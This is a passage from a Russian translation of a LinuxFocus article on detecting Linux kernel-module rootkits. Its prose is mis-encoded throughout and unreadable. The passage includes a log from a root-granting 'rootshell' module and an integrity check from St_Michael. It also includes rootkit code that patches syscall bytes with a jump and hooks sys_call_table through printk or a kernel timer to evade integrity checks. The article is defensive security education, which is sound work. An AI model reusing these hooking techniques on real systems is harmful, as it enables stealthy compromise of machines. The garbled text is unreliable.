ðÏÓÌÅ ÜÔÏÊ ËÏÒÏÔËÏÊ ÄÅÍÏÎÓÔÒÁÃÉÉ ÐÏÓÍÏÔÒÉÍ ÎÁ ÓÏÄÅÒÖÉÍÏÅ ÆÁÊÌÁ /var/log/kernel: ÚÄÅÓØ syslogd ÓËÏÎÆÉÇÕÒÉÒÏ×ÁÎ ÔÁË, ÞÔÏÂÙ ÓÏÈÒÁÎÑÔØ ËÁÖÄÏÅ ÓÏÏÂÝÅÎÉÅ ÑÄÒÁ(kern.* /var/log/kernel × /etc/syslogd.conf):

[rootshell] úÁÇÒÕÖÅÎ:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  ðÏÌÕÞÉÌÉ:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] ÷ÙÇÒÕÖÅÎ:(

îÅÍÎÏÇÏ ÉÚÍÅÎÑÑ ÜÔÏÔ ÍÏÄÕÌØ, ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÍÏÖÅÔ ÐÏÌÕÞÉÔØ ÏÞÅÎØ ÈÏÒÏÛÅÅ ÓÒÅÄÓÔ×Ï ÄÌÑ ËÏÎÔÒÏÌÑ. ÷ÓÅ ËÏÍÁÎÄÙ, ×ÙÐÏÌÎÑÅÍÙÅ × ÓÉÓÔÅÍÅ, ÚÁÐÉÓÙ×ÁÀÔÓÑ × ÌÏÇÉ ÑÄÒÁ. òÅÇÉÓÔÒ regs.ecx ÓÏÄÅÒÖÉÔ **argv, Á regs.edx - **envp, ÉÚ ÓÔÒÕËÔÕÒÙ current, ËÏÔÏÒÁÑ ÏÐÉÓÙ×ÁÅÔ ÔÅËÕÝÕÀ ÚÁÄÁÞÕ, ÍÙ ÐÏÌÕÞÉÍ ×ÓÀ ÎÕÖÎÕÀ ÉÎÆÏÒÍÁÃÉÀ, ÞÔÏÂÙ ÂÙÔØ × ËÕÒÓÅ, ÞÔÏ ÐÒÏÉÓÈÏÄÉÔ × ËÁÖÄÙÊ ÍÏÍÅÎÔ ×ÒÅÍÅÎÉ.

 

ïÂÎÁÒÕÖÅÎÉÅ É ÂÅÚÏÐÁÓÎÏÓÔØ

ðÒÏ×ÅÒËÁ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÔÅÐÅÒØ ÎÅ ÐÏÚ×ÏÌÉÔ ÁÄÍÉÎÉÓÔÒÁÔÏÒÕ ÏÂÎÁÒÕÖÉÔØ ÜÔÏÔ ÍÏÄÕÌØ (ÈÏÒÏÛÏ, ÜÔÏ ÎÅ ÓÏ×ÓÅÍ ÔÁË, ÔÁË ËÁË ÍÏÄÕÌØ ÏÞÅÎØ ÐÒÏÓÔÏÊ). ðÏÜÔÏÍÕ ÐÒÏÁÎÁÌÉÚÉÒÕÅÍ ÓÌÅÄÙ, ËÏÔÏÒÙÅ ÍÏÇÕÔ ÏÓÔÁ×ÁÔØÓÑ ÏÔ ÒÕÔËÉÔÏ× ÔÁËÏÇÏ ÔÉÐÁ:

ðÒÏÂÌÅÍÙ/ÒÅÛÅÎÉÑ, ËÏÔÏÒÙÅ ÍÙ ÏÂÓÕÄÉÌÉ, ÏÔÎÏÓÑÔÓÑ Ë ÎÅ×ÉÄÉÍÏÓÔÉ ÄÌÑ ÐÏÌØÚÏ×ÁÔÅÌØÓËÉÈ ËÏÍÁÎÄ. "èÏÒÏÛÉÊ" LKM ÉÓÐÏÌØÚÕÅÔ ×ÓÅ ÜÔÉ ÐÒÉÅÍÙ, ÞÔÏÂÙ ÏÓÔÁ×ÁÔØÓÑ ÎÅÚÁÍÅÞÅÎÎÙÍ.

åÓÔØ Ä×Á ÓÐÏÓÏÂÁ ÏÂÎÁÒÕÖÉÔØ ÔÁËÉÅ ÒÕÔËÉÔÙ. ðÅÒ×ÙÊ ÓÏÓÔÏÉÔ × ÉÓÐÏÌØÚÏ×ÁÎÉÉ ÕÓÔÒÏÊÓÔ×Á /dev/kmem, ÞÔÏÂÙ ÓÒÁ×ÎÉÔØ ÉÎÆÏÒÍÁÃÉÀ ÉÚ ÏÂÒÁÚÁ ÐÁÍÑÔÉ ÑÄÒÁ Ó ÔÏÊ, ÞÔÏ ÓÏÄÅÒÖÉÔÓÑ × /proc. õÔÉÌÉÔÙ, ÔÁËÉÅ ËÁË kstat, ÐÏÚ×ÏÌÑÀÔ ÐÒÏÉÚ×ÏÄÉÔØ ÐÏÉÓË × /dev/kmem ÄÌÑ ÐÒÏ×ÅÒËÉ ÔÅËÕÝÉÈ ÓÉÓÔÅÍÎÙÈ ÐÒÏÃÅÓÓÏ×, ÁÄÒÅÓÏ× ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×... ÷ ÓÔÁÔØÅ ôÏÂÉ íÉÌÌÅÒÁ (Toby Miller) Detecting Loadable Kernel Modules (LKM) ÏÐÉÓÁÎÏ, ËÁË ÉÓÐÏÌØÚÏ×ÁÔØ kstat ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ÒÕÔËÉÔÏ× ÜÔÏÇÏ ÔÉÐÁ.

÷ÔÏÒÏÊ ÓÐÏÓÏ ÓÏÓÔÏÉÔ × ÏÂÎÁÒÕÖÅÎÉÉ ËÁÖÄÏÊ ÐÏÐÙÔËÉ ÉÚÍÅÎÅÎÉÑ ÓÉÓÔÅÍÎÏÊ ÔÁÂÌÉÃÙ ×ÙÚÏ×Ï×. íÏÄÕÌØ St_Michael ôÉÍÁ ìÏÌÉÓÁ (Tim Lawless) ÐÒÏÉÚ×ÏÄÉÔ ÔÁËÏÊ ËÏÎÔÒÏÌØ. ÷Ï ×ÒÅÍÑ ÎÁÐÉÓÁÎÉÑ ÓÔÁÔØÉ ÍÏÄÕÌØ ÅÝÅ ÎÁÈÏÄÉÌÓÑ × ÒÁÚÒÁÂÏÔËÅ, ÐÏÜÔÏÍÕ ÅÇÏ ÏÐÉÓÁÎÉÅ ÍÏÖÅÔ ÉÚÍÅÎÉÔØÓÑ.

ëÁË ÍÙ ×ÉÄÅÌÉ × ÐÒÅÄÙÄÕÝÅÍ ÐÒÉÍÅÒÅ, lkm ÒÕÔËÉÔÙ ÏÓÎÏ×ÁÎÙ ÎÁ ÉÚÍÅÎÅÎÉÉ ÔÁÂÌÉÃÙ ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×. ðÅÒ×ÏÅ ÒÅÛÅÎÉÅ - ÓÄÅÌÁÔØ ÒÅÚÅÒ×ÎÕÀ ËÏÐÉÀ ÜÔÉÈ ÁÄÒÅÓÏ× ×Ï ×ÔÏÒÏÊ ÔÁÂÌÉÃÅ É ÐÅÒÅÏÐÒÅÄÅÌÉÔØ ×ÙÚÏ×Ù, ËÏÔÏÒÙÅ ÕÐÒÁ×ÌÑÀÔ ÆÕÎËÃÉÑÍÉ sys_init_module() É sys_delete_module(). ôÁËÉÍ ÏÂÒÁÚÏÍ, ÐÏÓÌÅ ÚÁÇÒÕÚËÉ ËÁÖÄÏÇÏ ÍÏÄÕÌÑ, ÍÏÖÎÏ ÄÅÌÁÔØ ÐÒÏ×ÅÒËÕ ÁÄÒÅÓÏ×:

/* ÷ÚÑÔÏ ÉÚ ÍÏÄÕÌÑ St_Michael ôÉÍÁ ìÏÌÉÓÁ */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     ðÒÏ×ÅÒÉÍ, ÎÅ ÉÚÍÅÎÉÌÁÓØ ÌÉ ÔÁÂÌÉÃÁ ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×.
     åÓÌÉ ÏÎÁ ÉÚÍÅÎÉÌÁÓØ, ÐÒÉÍÅÍ ÍÅÒÙ.

     íÙ ÍÏÇÌÉ ÂÙ ÓÄÅÌÁÔØ ÜÔÏ ÏÔÄÅÌØÎÏÊ ÆÕÎËÃÉÅÊ, ÏÄÎÁËÏ
     ÚÁÞÅÍ ÔÒÁÔÉÔØ ×ÒÅÍÑ ÎÁ ×ÙÚÏ×?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}

üÔÏ ÒÅÛÅÎÉÅ ÚÁÝÉÝÁÅÔ ÎÁÓ ÏÔ ÓÏ×ÒÅÍÅÎÎÙÈ lkm ÒÕÔËÉÔÏ×, ÏÄÎÁËÏ ÏÎÏ ÄÁÌÅËÏ ÏÔ ÓÏ×ÅÒÛÅÎÓÔ×Á. âÅÚÏÐÁÓÎÏÓÔØ - ÜÔÏ ÇÏÎËÁ ×ÏÏÒÕÖÅÎÉÊ (ÏÔÞÁÓÔÉ), É ×ÏÔ ÓÐÏÓÏÂ, ËÁË ÏÂÏÊÔÉ ÜÔÕ ÚÁÝÉÔÕ. ÷ÍÅÓÔÏ ÔÏÇÏ, ÞÔÏÂÙ ÉÚÍÅÎÑÔØ ÁÄÒÅÓ ÓÉÓÔÅÍÎÏÇÏ ×ÙÚÏ×Á, ÐÏÞÅÍÕ ÂÙ ÎÅ ÉÚÍÅÎÉÔØ ÓÁÍ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ×? üÔÏ ÏÐÉÓÁÎÏ óÉÌØ×ÉÏ ãÅÚÁÒÅ × stealth-syscall.txt. ðÒÉ ÁÔÁËÅ ÚÁÍÅÎÑÀÔÓÑ ÐÅÒ×ÙÅ ÂÁÊÔÙ ËÏÄÁ ÓÉÓÔÅÍÎÏÇÏ ×ÙÚÏ×Á ÎÁ ÉÎÓÔÒÕËÃÉÀ "jump &new_syscall" (ÜÔÏ ÐÓÅ×ÄÏ-ÁÓÓÅÍÂÌÅÒ):

/* ÷ÚÑÔÏ ÉÚ stealth_syscall.c (Linux 2.0.35) óÉÌØ×ÉÏ ãÅÚÁÒÅ */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}

íÙ ÚÁÝÉÝÁÅÍ Ó×ÏÉ ÐÒÏÇÒÁÍÍÙ É ÂÉÂÌÉÏÔÅËÉ ÐÒÉ ÐÏÍÏÝÉ ÔÅÓÔÏ× ÎÁ ÃÅÌÏÓÔÎÏÓÔØ, ÔÏ ÖÅ ÓÁÍÏÅ ÍÙ ÄÏÌÖÎÙ ÓÄÅÌÁÔØ É ÚÄÅÓØ. íÙ ÄÏÌÖÎÙ ÈÒÁÎÉÔØ ÈÜÛ ÍÁÛÉÎÎÏÇÏ ËÏÄÁ ËÁÖÄÏÇÏ ×ÙÚÏ×Á. íÙ ÐÒÏÄÏÌÖÁÅÍ ÒÁÂÏÔÁÔØ ÎÁÄ ÜÔÏÊ ÒÅÁÌÉÚÁÃÉÅÊ × St_Michael, ÉÚÍÅÎÑÑ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ× init_module(), ÜÔÏ ÐÏÚ×ÏÌÑÅÔ ÐÒÏ×ÏÄÉÔØ ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÐÏÓÌÅ ÚÁÇÒÕÚËÉ ËÁÖÄÏÇÏ ÍÏÄÕÌÑ.

îÏ ÄÁÖÅ É × ÜÔÏÊ ÓÉÔÕÁÃÉÉ, ×ÏÚÍÏÖÎÏ ÏÂÏÊÔÉ ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ (ÐÒÉÍÅÒ ÉÚ ÐÅÒÅÐÉÓËÉ ÍÅÖÄÕ ôÉÍÏÍ ìÏÌÉÓÏÍ, Mixman-ÏÍ É ÍÎÏÊ; ÉÓÈÏÄÎÙÊ ËÏÄ ÎÁÐÉÓÁÎ Mixman-ÏÍ):

  1. éÚÍÅÎÅÎÉÅ ÆÕÎËÃÉÉ, ËÏÔÏÒÁÑ ÎÅ Ñ×ÌÑÅÔÓÑ ÓÉÓÔÅÍÎÙÍ ×ÙÚÏ×ÏÍ: ÐÏ ÔÏÍÕ ÖÅ ÐÒÉÎÃÉÐÕ, ËÁË É ÄÌÑ ÓÉÓÔÅÍÎÏÇÏ ×ÙÚÏ×Á. ÷ init_module() ÍÙ ÉÚÍÅÎÑÅÍ ÐÅÒ×ÙÅ ÂÁÊÔÙ ÆÕÎËÃÉÉ (× ÜÔÏÍ ÐÒÉÍÅÒÅ printk()), ÞÔÏÂÙ "ÐÅÒÅÓËÏÞÉÔØ" ÉÚ ÎÅÅ ÎÁ hacked_printk()
    /* ÷ÚÑÔÏ ÉÚ printk_exploit.c Mixman-Á */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() ÉÚÍÅÎÑÅÔ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ×.
       úÁÔÅÍ ÍÙ ×ÙÚÙ×ÁÅÍ "ÎÏÒÍÁÌØÎÙÊ" printk(), ÞÔÏÂÙ
       ×ÓÅ ÒÁÂÏÔÁÌÏ ÐÒÁ×ÉÌØÎÏ.
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
    ôÁËÉÍ ÏÂÒÁÚÏÍ, ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ, ÐÏÍÅÝÅÎÎÙÊ × ÐÅÒÅÏÐÒÅÄÅÌÅÎÉÅ init_module(), ÐÏÄÔ×ÅÒÖÄÁÅÔ, ÞÔÏ ÐÒÉ ÚÁÇÒÕÚËÅ ÎÅ ÂÙÌÏ ÉÚÍÅÎÅÎÉÊ × ÔÁÂÌÉÃÅ ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×. ïÄÎÁËÏ ÐÒÉ ÓÌÅÄÕÀÝÅÍ ×ÙÚÏ×Å printk() ÉÚÍÅÎÅÎÉÅ ÐÒÏÉÚÏÊÄÅÔ...
    þÔÏÂÙ ÐÒÏÔÉ×ÏÓÔÏÑÔØ ÜÔÏÍÕ, ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÄÏÌÖÅÎ ÒÁÓÐÒÏÓÔÒÁÎÑÔØÓÑ ÎÁ ×ÓÅ ÆÕÎËÃÉÉ ÑÄÒÁ.
  2. éÓÐÏÌØÚÏ×ÁÎÉÅ ÔÁÊÍÅÒÁ: × init_module(), ÏÐÒÅÄÅÌÑÅÔÓÑ ÔÁÊÍÅÒ, ËÏÔÏÒÙÊ ÓÄÅÌÁÅÔ ÉÚÍÅÎÅÎÉÑ ÎÁÍÎÏÇÏ ÐÏÚÖÅ, ÞÅÍ ÐÒÏÉÚÏÛÌÁ ÚÁÇÒÕÚËÁ ÍÏÄÕÌÑ. ôÁËÉÍ ÏÂÒÁÚÏÍ, ÔÁË ËÁË ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÐÒÏÉÓÈÏÄÉÔ ×Ï ×ÒÅÍÑ ÚÁÇÒÕÚËÉ (×ÙÇÒÕÚËÉ) ÍÏÄÕÌÑ, ÁÔÁËÁ ÐÒÏÈÏÄÉÔ ÎÅÚÁÍÅÞÅÎÎÏÊ :(
     /* timer_exploit.c Mixman */
    
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("ðÅÒÉÏÄÉÞÅÓËÁÑ ÐÒÏ×ÅÒËÁ ÍÏÖÅÔ ÓÔÁÔØ ÒÅÛÅÎÉÅÍ...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("äÏÂÁ×ÌÑÀ ÔÁÊÍÅÒ ÑÄÒÁ...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("óÉÓÔÅÍÎÙÊ ×ÙÚÏ× sys_chdir() ÂÕÄÅÔ ÍÏÄÉÆÉÃÉÒÏ×ÁÎ ÞÅÒÅÚ ÎÅÓËÏÌØËÏ ÓÅËÕÎÄ\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    ÷ ÄÁÎÎÙÊ ÍÏÍÅÎÔ ÐÏÄÈÏÄÑÝÉÍ ÒÅÛÅÎÉÅÍ, ÎÁÍ ËÁÖÅÔÓÑ, ÂÕÄÅÔ ÚÁÐÕÓË ÔÅÓÔÁ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ×ÒÅÍÑ ÏÔ ×ÒÅÍÅÎÉ, Á ÎÅ ÔÏÌØËÏ ×Ï ×ÒÅÍÑ ÚÁÇÒÕÚËÉ(×ÙÇÒÕÚËÉ) ÍÏÄÕÌÑ.

 

÷Ù×ÏÄ

ðÏÄÄÅÒÖËÁ ÃÅÌÏÓÔÎÏÓÔÉ ÓÉÓÔÅÍÙ - ×ÅÝØ ÎÅ ÐÒÏÓÔÁÑ. èÏÔÑ ÜÔÉ ÔÅÓÔÙ É ÎÁÄÅÖÎÙ, ÅÓÔØ ÍÎÏÇÏ ÓÐÏÓÏÂÏ× ÏÂÏÊÔÉ ÉÈ. åÄÉÎÓÔ×ÅÎÎÏÅ ÒÅÛÅÎÉÅ - ÎÉÞÅÍÕ ÎÅ ÄÏ×ÅÒÑÔØ ÐÒÉ ÏÃÅÎÉ×ÁÎÉÉ ÓÏÓÔÏÑÎÉÑ ÓÉÓÔÅÍÙ, ÏÓÏÂÅÎÎÏ, ËÏÇÄÁ ÅÓÔØ ÐÏÄÏÚÒÅÎÉÅ, ÞÔÏ ÐÒÏÉÚÏÛÌÏ ×ÔÏÒÖÅÎÉÅ. ìÕÞÛÉÊ ×ÙÈÏÄ - ÏÓÔÁÎÏ×ÉÔØ ÓÉÓÔÅÍÕ É ÚÁÐÕÓÔÉÔØ ÄÒÕÇÕÀ("ÞÉÓÔÕÀ") ÄÌÑ ÏÃÅÎËÉ ÕÒÏÎÁ.

õÔÉÌÉÔÙ É ÍÅÔÏÄÙ, ÒÁÓÓÍÏÔÒÅÎÎÙÅ × ÜÔÏÊ ÓÔÁÔØÅ, Ä×ÕÓÔÏÒÏÎÎÉ. ïÎÉ ÈÏÒÏÛÉ É ÄÌÑ ×ÚÌÏÍÝÉËÁ É ÄÌÑ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ. üÔÏ ×ÉÄÎÏ ÎÁ ÐÒÉÍÅÒÅ ÍÏÄÕÌÑ rootshell, ËÏÔÏÒÙÊ ÔÁËÖÅ ÐÏÚ×ÏÌÑÅÔ ËÏÎÔÒÏÌÉÒÏ×ÁÔØ, ËÔÏ ÞÔÏ ÚÁÐÕÓËÁÅÔ.

åÓÌÉ ÔÅÓÔÙ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÒÅÁÌÉÚÏ×ÁÎÙ ÓÏÇÌÁÓÎÏ ÐÏÄÈÏÄÑÝÉÍ ÐÒÁ×ÉÌÁÍ, ËÌÁÓÓÉÞÅÓËÉÅ ÒÕÔËÉÔÙ ÌÅÇËÏ ÏÂÎÁÒÕÖÉ×ÁÀÔÓÑ. ôÅ, ËÏÔÏÒÙÅ ÏÓÎÏ×ÁÎÙ ÎÁ ÍÏÄÕÌÑÈ, ÐÒÅÄÓÔÁ×ÌÑÀÔ ÓÏÂÏÊ ÎÏ×ÕÀ ÐÒÏÂÌÅÍÕ. õÔÉÌÉÔÙ, ËÏÔÏÒÙÅ ÐÏÂÅÄÑÔ ÉÈ, ÎÁÈÏÄÑÔÓÑ × ÒÁÚÒÁÂÏÔËÅ, ËÁË É ÓÁÍÉ ÍÏÄÕÌÉ, ÔÁË ËÁË ÏÎÉ ÅÝÅ ÄÁÌÅËÉ ÏÔ ÉÓÐÏÌØÚÏ×ÁÎÉÑ Ó×ÏÉÈ ÐÏÌÎÙÈ ×ÏÚÍÏÖÎÏÓÔÅÊ. âÅÚÏÐÁÓÎÏÓÔØ ÑÄÒÁ ×ÓÅ ÂÏÌØÛÅ É ÂÏÌØÛÅ ÂÅÓÐÏËÏÉÔ ÌÀÄÅÊ, ÄÏ ÔÁËÏÊ ÓÔÅÐÅÎÉ, ÞÔÏ ìÉÎÕÓ ÚÁÐÒÏÓÉÌ ÍÏÄÕÌØ, ÏÔ×ÅÔÓÔ×ÅÎÎÙÊ ÚÁ ÂÅÚÏÐÁÓÎÏÓÔØ, ÄÌÑ ÑÄÅÒ 2.5. ôÁËÏÅ ÉÚÍÅÎÅÎÉÅ × ÓÏÚÎÁÎÉÉ ÌÀÄÅÊ ÐÒÏÉÚÏÛÌÏ ÉÚ-ÚÁ ÂÏÌØÛÏÇÏ ËÏÌÉÞÅÓÔ×Á ÄÏÓÔÕÐÎÙÈ ÐÁÔÞÅÊ (Openwall, Pax, LIDS, kernelli, ÞÔÏÂÙ ÕÐÏÍÑÎÕÔØ ÍÁÌÕÀ ÞÁÓÔØ ÉÚ ÎÉÈ).

÷ ÌÀÂÏÍ ÓÌÕÞÁÅ ÐÏÍÎÉÔÅ, ÞÔÏ ÐÏÔÅÎÃÉÁÌØÎÏ ×ÚÌÏÍÁÎÎÁÑ ÓÉÓÔÅÍÁ ÎÅ ÍÏÖÅÔ ÐÒÏ×ÅÒÉÔØ Ó×ÏÀ ÃÅÌÏÓÔÎÏÓÔØ. ÷Ù ÎÅ ÍÏÖÅÔÅ ÄÏ×ÅÒÑÔØ ÎÉ ÅÅ ÐÒÏÇÒÁÍÍÁÍ, ÎÉ ÉÎÆÏÒÍÁÃÉÉ, ËÏÔÏÒÕÀ ÏÎÁ ×ÙÄÁÅÔ.

 

óÓÙÌËÉ

 

óÔÒÁÎÉÃÁ ÏÔÚÙ×Ï×

õ ËÁÖÄÏÊ ÚÁÍÅÔËÉ ÅÓÔØ ÓÔÒÁÎÉÃÁ ÏÔÚÙ×Ï×. îÁ ÜÔÏÊ ÓÔÒÁÎÉÃÅ ×Ù ÍÏÖÅÔÅ ÏÓÔÁ×ÉÔØ Ó×ÏÊ ËÏÍÍÅÎÔÁÒÉÊ ÉÌÉ ÐÒÏÓÍÏÔÒÅÔØ ËÏÍÍÅÎÔÁÒÉÉ ÄÒÕÇÉÈ ÞÉÔÁÔÅÌÅÊ :
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal aka Pappy , FDL
LinuxFocus.org
Translation information:
fr --> -- : Frédéric Raynal aka Pappy (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> ru: Kolobynin Alexey <alexey_ak0(at)mail.ru>

2002-11-11, generated by lfparser version 2.31